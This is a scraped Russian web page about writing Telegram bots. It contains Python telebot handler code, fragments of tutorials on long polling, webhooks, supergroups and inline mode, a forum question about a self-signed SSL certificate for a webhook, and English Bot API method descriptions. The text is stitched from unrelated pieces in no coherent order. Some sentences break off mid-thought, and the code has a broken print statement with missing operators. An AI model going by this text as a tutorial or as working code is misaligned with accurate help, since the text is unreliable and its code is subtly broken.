def askSource(message):
    chat_id = message.chat.id
    text = message.text.lower()
    if text in task.names[0]:
        task.mySource = 'top'
        msg = bot.send_message(chat_id, 'За какой временной промежуток?', reply_markup=m.age_markup)
        bot.register_next_step_handler(msg, askAge)
    elif text in task.names[1]:
        task.mySource = 'all'
        msg = bot.send_message(chat_id, 'Какой минимальный порог рейтинга?', reply_markup=m.rating_markup)
        bot.register_next_step_handler(msg, askRating)
    else:
        msg = bot.send_message(chat_id, 'Такого раздела нет. Введите раздел корректно.')
        bot.register_next_step_handler(msg, askSource)
        return

def askAge(message):
    chat_id = message.chat.id
    text = message.text.lower()
    filters = task.filters[0]
    if text not in filters:
        msg = bot.send_message(chat_id, 'Такого временного промежутка нет. Введите порог корректно.')
        bot.register_next_step_handler(msg, askAge)
        return
    task.myFilter = task.filters_code_names[0][filters.index(text)]
    msg = bot.send_message(chat_id, 'Сколько страниц парсить?', reply_markup=m.amount_markup)
    bot.register_next_step_handler(msg, askAmount)

def askRating(message):
    chat_id = message.chat.id
    text = message.text.lower()
    filters = task.filters[1]
    if text not in filters:
        msg = bot.send_message(chat_id, 'Такого порога нет. Введите порог корректно.')
        bot.register_next_step_handler(msg, askRating)
        return
    task.myFilter = task.filters_code_names[1][filters.index(text)]
    msg = bot.send_message(chat_id, 'Сколько страниц парсить?', reply_markup=m.amount_markup)
    bot.register_next_step_handler(msg, askAmount)

def askAmount(message):
    chat_id = message.chat.id
    text = message.text.lower()
    if not text.isdigit():
        msg = bot.send_message(chat_id, 'Количество страниц должно быть числом. Введите корректно.')
        bot.register_next_step_handler(msg, askAmount)
        return
    if int(text) < 1 or int(text) > 5:
        msg = bot.send_message(chat_id, 'Количество страниц должно быть >0 и <6. Введите корректно.')
        bot.register_next_step_handler(msg, askAmount)
        return
    task.isRunning = False
    print(task.mySource   " | "   task.myFilter   ' | '   text) #
    output = ''
    if task.mySource == 'top':
        output = parser.getTitlesFromTop(int(text), task.myFilter)
    else:
        output = parser.getTitlesFromAll(int(text), task.myFilter)
    msg = bot.send_message(chat_id, output, reply_markup=m.start_markup)

bot.polling(none_stop=True)

Про сертификаты:  windows-xp - Ошибка подключения XP WiFi: "Windows не удалось найти сертификат для входа в сеть" - PowerUser

Ура! С кодом впринципе разобрались. Теперь самое важное — деплоинг бота не хероку.

На чём пишут телеграм-ботов

Бот должен уметь отправлять запросы Телеграм-серверу и получать от него апдейты (updates, обновления).

Оформление бота

Открыв бота, пользователи могут увидеть его профиль.

Платежи через ботов

Телеграм предоставляет ботам возможность принимать платежи от пользователей. Это делается через провайдеров ЮMoney, Сбербанк, Stripe и ещё 7.

Эта возможность используются редко, потому что для использования провайдеров нужно юридическое лицо.

Поздравляю!

Работа окончена, бот работает удалённо.

Приватность и геопозиция в инлайне

Когда пользователь вызывает инлайн-режим, бот не может получить никакую информацию о контексте, кроме информации о пользователе. Таким образом, бот не может узнать ни чат, в котором вызвали инлайн, ни сообщение, на которое пользователь отвечает.

Пример:

The

Примечание:

  1. При подключенном и настроенном вебхуке метод getUpdates не будет работать.
  2. При использовании самоподписанного сертификата, вам необходимо загрузить публичный ключ с помощью параметра certificate.
  3. На текущий момент отправка обновлений через вебхуки доступна только на эти порты: 443, 80, 88, 8443.

Проблема с сертификатом в telegram

Использую сервер с ISPmanager 5.8, ОС Ubuntu Server 16.04.
Порт 443 открыт, доступ извне есть. Генерирую ключ такой командой:

openssl req -newkey rsa:2048 -sha256 -nodes -keyout tele.key -x509
-days 365 -out tele.pem -subj “/C=RU/ST=Krasnodar Krai/L=Tuapse/O=telegram/CN=tele.zhirov.su”

Далее, что я делаю… Через Sublime открываю tele.key и tele.pem, копирую код в ISPmanager при создании сертификатавведите сюда описание изображения

В доменном имени сайта прикрепляю этот сертификат – всё успешно. Браузер видит сертификат.

Далее – отправляю телеграму tele.pem ключ:

<form action="https://api.telegram.org/botТОКЕНБОТА/setwebhook" enctype="multipart/form-data">
        <input type="hidden" name="url" value="https://tele.zhirov.su/bot.php">
        <input type="file" name="certificate">
        <input type="submit" value="Отправить данные">
    </form>

В ответ приходит:

{“ok”:true,”result”:true,”description”:”Webhook was set”}

Проверяю командой getWebhookInfo, получаю такое на выходе:

{“ok”:true,”result”:{“url”:”https://tele.zhirov.su/bot.php“,”has_custom_certificate”:false,”pending_update_count”:0,”last_error_date”:1485273410,”last_error_message”:”SSL
error {336134278, error:14090086:SSL
routines:ssl3_get_server_certificate:certificate verify
failed}”,”max_connections”:40}}

Так же пробовал отправлять и такой командой через терминал:

curl -F "url=https://tele.zhirov.su/bot.php" -F "certificate=tele.pem" "https://api.telegram.org/botТОКЕНБОТА/setwebhook"

Что делать, я уже не знаю… Может сертификат не правильно добавляю или отправляю?

Результаты инлайн-режима

Результаты можно отображать двумя способами:

Можно совмещать два типа, но корректно отображается это только на Telegram Desktop.

Создание наборов стикеров

Боты (и только боты!) могут создавать наборы стикеров. При этом каждый набор стикеров должен принадлежать какому-то пользователю. Посмотреть свои наборы стикеров пользователь может с помощью бота @Stickers.

Строим цепочку ответов.

Пришло время закончить с элементарными действиями и начать что-то серьёзное. Попробуем построить цепочку ответов. Для этого нам понадобиться register_next_step_handler(). Создадим простой пример, на котором и разберёмся как работает register_next_step_handler().

Супергруппы

На самом деле многие группы в Телеграме являются супергруппами.

Почему так? Раньше было четкое разделение на группы и супергруппы. По задумке, супергруппы — это группы для сообществ. Супергруппы могут иметь больше участников, публичные ссылки и другие плюшки.

Со временем, видимо, решили, что это неудобная концепция. Теперь обычная группа становится супергруппой, когда у группы меняются какие-нибудь настройки (подробнее тут). Вот такой костыль.

В этой статье под группами я подразумеваю и супергруппы, и обычные группы.

Супергруппу нельзя обратно превратить в группу. С точки зрения API супергруппа устроена так же, как и канал. Важное отличие супергрупп от обычных групп состоит в нумерации сообщений: о нём чуть ниже.

Теория. методы взаимодействия с ботом.


Мы используем long polling для получения данных о сообщениях от бота.

Установка и настройка pipenv. первый запуск.

Для начала создадим файл, в котором будет основной код бота

Хэндлеры. отвечаем на команды и сообщения

Пришло время научить бота отвечать нам. Возможно даже сделать его ответы полезными.

Часть 1: регистрация бота

Самая простая и описанная часть. Очень коротко: нужно найти бота

Часть 3: получаем сообщения и говорим «привет»

Небольшое отступление. Телеграмм умеет сообщать боту о действиях пользователя двумя способами: через ответ на запрос сервера (Long Poll), и через Webhook, когда сервер Телеграмма сам присылает сообщение о том, что кто-то написал боту. Второй способ явно выглядит лучше, но требует выделенного IP-адреса, и установленного SSL на сервере. В этой статье я хочу рассказать о написании бота, а не настройке сервера, поэтому пользоваться мы будем Long Poll’ом.

Открывайте ваш любимый текстовый редактор, и давайте писать код бота!

Первое, что нужно сделать это импортировать нашу библиотеку и подключить токен бота:

Юзернеймы

При создании бота нужно выбрать юзернейм. После этого поменять его будет очень сложно.

Как поменять юзернейм бота

Inlinequeryresult

This object represents one result of an inline query. Telegram clients currently support results of the following 19 types:

Sendphoto

Use this method to send photos. On success, the sent Message is returned.

Sendmessage

Use this method to send text messages. On success, the sent Message is returned.

Resending files without reuploading

There are two ways of sending a file (photo, sticker, audio etc.). If it‘s a new file, you can upload it using multipart/form-data. If the file is already on our servers, you don’t need to reupload it: each file object has a file_id field, you can simply pass this file_id as a parameter instead.

Sendcontact

Use this method to send phone contacts. On success, the sent Message is returned.

Sendsticker

Use this method to send .webp stickers. On success, the sent Message is returned.

Заключение

Я постарался собрать в одном месте и структурировать информацию о всех возможностях Телеграм-ботов. Большое спасибо vanutp, NToneE и Grinrill за помощь с фактами. Если мы что-то забыли — пишите, исправлю.

Я специально не разделял большую статью на несколько постов, чтобы можно было быстро найти нужную информацию. К тому же, в начале статьи есть её содержание. Так что можете сохранить её к себе и использовать как справочник 🙂

Вообще интерфейс бота (то есть интерфейс чата) имеет много ограничений. Но плохо ли это? Действительно удобнее использовать инструмент, когда это часть привычной среды. Я часто прямо в переписке нахожу нужную картинку или информацию с помощью инлайн-ботов. Как заядлый пользователь Телеграма, я люблю использовать ботов. И создаю ботов. И вы создавайте.

Inlinequeryresultarticle

Represents a link to an article or web page.

Sendlocation

Use this method to send point on the map. On success, the sent Message is returned.

Sendgame

Этот метод используется для отправки игры в виде обычного сообщения. В случае успеха возвращает объект с отправленным сообщением Message.

Sendvenue

Use this method to send information about a venue. On success, the sent Message is returned.

Оцените статью
Мой сертификат
Добавить комментарий